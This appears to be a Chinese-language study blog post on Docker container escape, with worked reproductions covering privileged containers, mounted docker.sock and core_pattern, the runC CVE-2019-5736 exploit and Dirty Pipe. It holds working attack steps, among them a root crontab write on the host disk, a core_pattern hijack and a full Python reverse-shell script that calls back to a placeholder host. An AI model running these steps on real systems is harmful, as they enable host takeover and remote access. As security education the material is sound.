Docker容器逃逸

概念

云原生概念:云原生的代表技术包括容器、服务网格、微服务、不可变基础设施和声明式API。

而云原生安全也就是围绕上述几类技术和衍生技术进行楼哦对那个挖掘和利用。攻击路径参考 CIS20220 上总结的攻击模型:

image-20240302143648473

安全问题

基于以上的云原生以及云原生安全,总结出以下可能的安全问题:

  • 传统安全问题依然存在
    • 传统web入侵、DDOS攻击等依然存在,甚至会因为云上架构复杂,组件直接的调用增多造成更多安全问题;
  • API 安全
    • 云原生架构中,内部组件和微服务的调用普遍使用API,由此带来的安全问题也逐渐增多
  • 容器安全
    • 容器镜像安全,如容器逃逸等,可以直接从容器跳到宿主机
  • ···

容器逃逸

原理

本质上容器内的进程只是一个受限的普通Linux进程,容器内部进程的所有行为对于宿主机来说是透明的。我们可以很容易地在宿主机以哦那个ps看到容器的进程信息。

所以,容器逃逸和硬件虚拟化逃逸的本质有很大的不同(不包含 Kata Containers 等 ),容器逃逸的过程更像一个受限进程获取未受限的完整权限,又或某个原本受 Cgroup/Namespace 限制权限的进程获取更多权限的操作,更趋近于提权。

而该漏洞利用思路是:

  • 检测是否处于容器环境
  • 进行容器逃逸
    • 基于API 漏洞
    • 基于危险配置
    • 基于危险挂载
    • 基于程序漏洞
    • 基于内核漏洞

利用

检测容器环境

参考 Metasploit 中检测 container 的模块(checkcontainer、checkvm)。

  1. 检查/proc/1/cgroup内是否包含"docker""kubepods"等字符串 (虚拟机环境下也存在一些特征,感觉是主要检测方法)
  2. 检查/.dockerenv文件是否存在 (虚拟机环境下无 dockerenv
  3. 检查环境变量 (k8s 环境下有很多特征环境变量)
  4. 检查 mount 信息
  5. 查看硬盘信息 (fdisk -l 容器输出为空,非容器有内容输出。)
docker 容器复现

​ 测试环境 :docker nginx:latest 镜像

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
~/docker# docker run -it nginx /bin/bash

root@a9252d978133:/# cat /proc/1/cgroup
0::/

root@a9252d978133:/# ls -a
. .dockerenv boot docker-entrypoint.d etc lib media opt root sbin sys usr
.. bin dev docker-entrypoint.sh home lib64 mnt proc run srv tmp var

root@a9252d978133:/# env
HOSTNAME=a9252d978133
PWD=/
PKG_RELEASE=1~bookworm
HOME=/root
NJS_VERSION=0.8.3
TERM=xterm
SHLVL=1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NGINX_VERSION=1.25.4
_=/usr/bin/env

root@a9252d978133:/# mount | grep '/ type'
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/LPKZRVTP753VVXKM3ARZUK5OR2:/var/lib/docker/overlay2/l/AR7676WYAQNJS24WTSN5XA7V2I:/var/lib/docker/overlay2/l/DJKBU2ILQ2JIDHBVK4QMCXBSA7:/var/lib/docker/overlay2/l/JRSTI6UYS62A736CLJZFI6NNDO:/var/lib/docker/overlay2/l/6NPGO2PXGP3TVCVUCHWONBNIJF:/var/lib/docker/overlay2/l/BHLVJVJ5LD4VISES4VI6QFBGNN:/var/lib/docker/overlay2/l/XUYCWER26LYZCXFWJNF26X2HLC:/var/lib/docker/overlay2/l/KRKBYSDIT6JVAD7EUXOGIGYDXK,upperdir=/var/lib/docker/overlay2/ab464eeafa5120fc43e39033f5ee47577384378633d654b18009df07c55a81b3/diff,workdir=/var/lib/docker/overlay2/ab464eeafa5120fc43e39033f5ee47577384378633d654b18009df07c55a81b3/work)

root@a9252d978133:/# fdisk -l
bash: fdisk: command not found

可以发现,部分测试通过部分没有,但大体来讲能判断目前处于一个docker环境。

基于 API 漏洞的逃逸

Docker 远程API 未授权访问逃逸

该漏洞起因是因为使用Docker Swarm时,管理的docker 节点上便会开放一个TCP端口2375/2376,绑定在0.0.0.0上,http访问会返回 404 page not found。这是 Docker RemoteAPI,可以执行docker命令,比如访问 http://x.x.x.x:2375/containers/json 会返回服务器当前运行的 container 列表,和在 docker CLI 上执行 docker ps 的效果一样,其他操作比如创建/删除 container,拉取 image 等操作也都可以通过API调用完成。

docker 容器复现
  • 在配置Docker启动文件(/usr/lib/systemd/system/docker.service)时,添加允许任何网段访问Docker Remote API
image-20240302143936032
  • 重启 Docker:sudo systemctl daemon-reload;sudo service docker restart

  • 验证存在漏洞

1
2
3
root@VM-8-4-debian:/docker-test# docker run --rm -ti ubuntu bash
root@ff7d66f8c120:/# IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."
Docker Remote API Is Enabled.
  • 在本地利用该 API 创建容器并挂载逃逸(后面有示例):docker -H tcp://x.x.x.x:2375 run -it -v /docker-test:/test ubuntu /bin/bash

基于危险配置的逃逸

privileged特权模式运行容器

最初,容器特权模式的出现是为了帮助开发者实现Docker-in-Docker特性。然而,在特权模式下运行不完全受控容器将给宿主机带来极大安全威胁。

当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

在这样的场景下,从容器中逃逸出去时易如反掌的。例如:攻击者可以直接在容器内部挂载宿主机磁盘,然后将根目录切换过去。

docker 容器复现
  • 漏洞验证
1
2
3
4
5
6
7
root@VM-8-4-debian:~# docker exec -it 18a16c0e62f0  /bin/bash
root@18a16c0e62f0:/# cat /proc/self/status |grep Cap
CapInh: 0000000000000000
CapPrm: 000001ffffffffff
CapEff: 000001ffffffffff
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000

可以看到 CapEff 对应的掩码值为 0000001fffffffff (ps:搜出来的blog写的是0000003fffffffff 不过后面也能挂载,问题不大。)

  • 转义
1
2
root@18a16c0e62f0:/# capsh --decode=0000001fffffffff
0x0000001fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend
  • 漏洞利用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@18a16c0e62f0:/# fdisk -l
···
Device Boot Start End Sectors Size Id Type
/dev/vda1 * 2048 125829086 125827039 60G 83 Linux

root@18a16c0e62f0:/#mkdir /test
root@18a16c0e62f0:/#mount /dev/vda1 /test

root@18a16c0e62f0:/# touch /test/test.sh
root@18a16c0e62f0:/# echo "111" > /test/test.sh
root@18a16c0e62f0:/# echo "* * * * * root bash /test.sh" >> /test/etc/crontab

root@VM-8-4-debian:~# cat /etc/crontab
···
* * * * * root bash /test.sh
#可以看到已经写进去了
  • 其中的 test.sh 我们就可以写反弹 shell 的命令

注意!注意!注意!

此时 /test 和宿主机的 / 被挂载在一起,删除test就相当于删除 / ! 😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭😭

基于危险挂载的逃逸

为了方便宿主机与虚拟机进行数据交换,几乎所有主流虚拟机解决方案都会提供挂载宿主机目录到虚拟机的功能。容器同样如此。然而,将宿主机上的敏感文件或目录挂载到容器内部——尤其是那些不完全受控的容器内部往往会带来安全问题。

挂载 Docker Socket 的情况

Docker Socket 是 Docker 守护进程监听的 Unix 域套接字,用来与守护进程通信——查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件(/var/run/docker.sock),可通过 Docker Socket 与 Docker 守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部,完成简单逃逸。

通俗一点:在启动docker容器时,将宿主机/var/run/docker.sock文件挂载到docker容器中,在docker容器中,也可以再创建一个 docker,并将跟,目录挂载到新创建的容器内,实现挂载逃逸。

docker 容器复现
  • 环境搭建

    • 先搭建docker并挂载:docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu /bin/bash
  • 漏洞验证

    • 如果能再 docker 中找到 sock 挂载文件就说明漏洞存在(find / -name *.sock )
  • 漏洞利用

    • 在容器中装 dockerapt-get update;apt-get install docker.io
    • docker容器中,使用命令查看宿主机拉取的镜像 docker -H unix://var/run/docker.sock images
1
2
3
4
5
# docker -H unix://var/run/docker.sock images 
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 3db8720ecbf5 2 weeks ago 77.9MB
hello-world latest d2c94e258dcb 10 months ago 13.3kB
# 已经看到宿主机的docker
  • ​ 在该 docker 中运行一个 docker 如上面的 ubuntu 然后把宿主机根目录挂载进来。
1
2
root@33bbc53772f2:/# docker -H unix://var/run/docker.sock run -v /docker-test:/test -it ubuntu /bin/bash
root@5138e163ac71:/# //可以看到已经换容器了。
  • ​ 剩下操作与第一个基于特权的一样,写计划任务

挂载宿主机 procfs 的情况

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。

  • 文件/proc/sys/kernel/core_pattern它在Linux系统中,如果进程崩溃了,系统内核会捕获到进程崩溃信息,将进程崩溃信息传递给这个文件中的程序或者脚本。
  • 从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符’|’,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
docker 容器复现
  • 环境搭建

    • 创建一个容器并挂载 /proc 目录:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
  • 漏洞验证

    • 如果能再 docker 中找到两个core_pattern 文件:find / -name core_pattern

    • 执行以下命令返回’mountes’:find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "mounted." || echo "not mounted."

  • 漏洞利用

    • 当启动一个容器时,会在/var/lib/docker/overlay2目录下生成一层容器层,容器层里面包括diff、link、lower、merged、work目录,而docker容器的目录保存在merged目录中,通过命令找到当前容器在宿主机下的绝对路径,workdir代表的是docker容器在宿主机中的绝对路径
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#宿主机
root@VM-8-4-debian:/var/lib/docker# cd /var/lib/docker/overlay2
root@VM-8-4-debian:/var/lib/docker/overlay2# ls
760e81e5bdc90d8c5ab2e47e1ae4b3c98667a551d441e40d55581839c2139e0c
760e81e5bdc90d8c5ab2e47e1ae4b3c98667a551d441e40d55581839c2139e0c-init
96e2b79bdb96147754d96aa991dc3f350b9b30dbd52e566ac58026d24cebcc5f
aba62047cc5b79a3ab92605b0d3aa8262d2ad6bbaf1d8706561092f4930cd3ba
l
root@VM-8-4-debian:/var/lib/docker/overlay2# cd 760e81e5bdc90d8c5ab2e47e1ae4b3c98667a551d441e40d55581839c2139e0c
root@VM-8-4-debian:/var/lib/docker/overlay2/760e81e5bdc90d8c5ab2e47e1ae4b3c98667a551d441e40d55581839c2139e0c# ls
diff link lower merged work
root@VM-8-4-debian:/var/lib/docker/overlay2/760e81e5bdc90d8c5ab2e47e1ae4b3c98667a551d441e40d55581839c2139e0c# cd merged;ls
bin dev home lib lib64 media opt root sbin sys usr
boot etc host lib32 libx32 mnt proc run srv tmp var
  • 在容器中查看该绝对路径并定义为 host_dir : host_path=$(sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab)

    • 写马:echo -e "|$host_dir/tmp/.t.py \\rcore" > /host/sys/kernel/core_pattern

    • 接下来在容器里:/tmp/.x.py 中写马

      示例:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    import os
    import pty
    import socket
    lhost = "xxx"
    lport = xxx
    def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
    if __name__ == "__main__":
    main()
  • 最后,在容器内运行一个可以崩溃的程序即可,例如:x.c

    1
    2
    3
    4
    5
    6
    7
    8
    #include <stdio.h>

    int main(void)
    {
    int *a = NULL;
    *a = 1;
    return 0;
    }
  • 运行:gcc t.c -o t && ./t (容器需要提前安装 gcc 环境)

基于程序漏洞的逃逸

相关程序漏洞,指的是那些参与到容器生态中的服务端、客户端程序自身存在的漏洞。有关程序组件,见下图:

image-20240302144614060

Docker runC逃逸-CVE-2019-5736

比较详细的解说见:容器逃逸成真:从CTF解题到CVE-2019-5736漏洞挖掘分析

总结:

  • 我们在执行功能类似于 docker exec 的命令时,底层实际上是容器运行时在操作。例如 runc
  • 相应地,runc exec命令会被执行。它的最终效果是在容器内部执行用户指定的程序。进一步讲,就是在容器的各种命名空间内,受到各种限制(如cgroups)的情况下,启动一个进程。除此以外,这个操作与宿主机上执行一个程序并无二致。
  • 这个过程中存在的风险在于:/proc :如果尝试打开/proc/[PID]/exe ,在权限检查通过的情况下,内核将直接返回一个指向该文件的描述符(file descriptor),而非按照传统的打开方式去做路径解析和文件查找。这样一来,它实际上绕过了 mnt 命名空间及 chroot 对一个进程能够访问到的文件路径的限制。
  • runc exec 加入到容器的命名空间之后,容器内进程已经能够通过内部 /proc 观察到它,此时如果打开 /proc/[runc-PID]/exe 并写入一些内容,就能够实现将宿主机上的 runc 二进制程序覆盖掉!这样一来,下一次用户调用 runc 去执行命令时,实际执行的将是攻击者放置的指令。

在未升级的容器环境上,上述思路是可行的,但是攻击者想要在容器内实现宿主机上的代码执行(逃逸),还需要面对两个限制:

  1. 需要具有容器内部 root 权限;
  2. Linux 不允许修改正在运行进程对应的本地二进制文件。

事实上,限制1经常不存在,很多容器服务开放给用户的仍然是root权限;而限制2是可以克服的

影响版本

docker version <= 18.09.2

RunC version < 1.0-rc6

因为个人服务器docker版本过高,且EXP成熟,就不复现了。流程:

  • 使用EXP: https://github.com/Frichetten/CVE-2019-5736-PoC

  • 编译POC:CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

  • 开启监听后在容器中模拟用户进入docker镜像:docker exec -it container_id bash

  • 此时会发现runC文件被改变

基于内核漏洞的逃逸

脏管道(CVE-2022-0847) Dirty Pipe

该漏洞的大概原理为splice系统调用由于未初始化某buf,可能包含旧的PIPE_BUF_FLAG_CAN_MERGE,导致可以通过管道越界写,覆盖关键文件如/etc/passwd可达到提权的效果。因漏洞类型和“DirtyCow”(脏牛)类似,发现者 Max Kellermann 研究员将该漏洞命名为 Dirty Pipe

参考链接

总结一些前置知识点

  • 管道与重定向的简单区别在于,重定向将命令与文件连接起来,而管道符将命令与命令连接起来。
  • pipe_write函数对PIPE_BUF_FLAG_CAN_MERGE的操作,本来无关痛痒,只是可以随意覆写管道。但是由于 page cache 的存在,令我们随意覆写管道转换成随意覆写文件,后面想到可以覆写 /etc/passwd ,最终达到提权的目的

漏洞复现

  • 在虚拟机(centos 7, 3.10.0-1160 kernal)中使用 psych 用户进行测试
  • 使用 github 上 poc,运行后直接提权为 root
    • 贴不了图了,centos 7 精简版难用的我想杀人

poc理解

  • 创建pipe
  • 使用任意数据填充管道(填满, 而且是填满Pipe的最大空间)
  • 清空管道内数据
  • 使用splice()读取目标文件(只读)的1字节数据发送至pipe
  • write()将任意数据继续写入pipe, 此数据将会覆盖目标文件内容

只要挑选合适的目标文件(必须要有可读权限), 利用漏洞Patch掉关键字段数据, 即可完成从普通用户到root用户的权限提升, POC使用的是/etc/passwd文件的利用方式。

总结

涉及内核漏洞的提权方式几乎都理解不了,太硬核了,用用 poc 得了。

其余逃逸很大程度都是通过挂载进行逃逸。要么本容器挂载,要么本容器里再创建一个容器挂载。思路差不多,主要围绕 capabilities 和 mount 利用,总的来说感觉都是属于提权操作吧。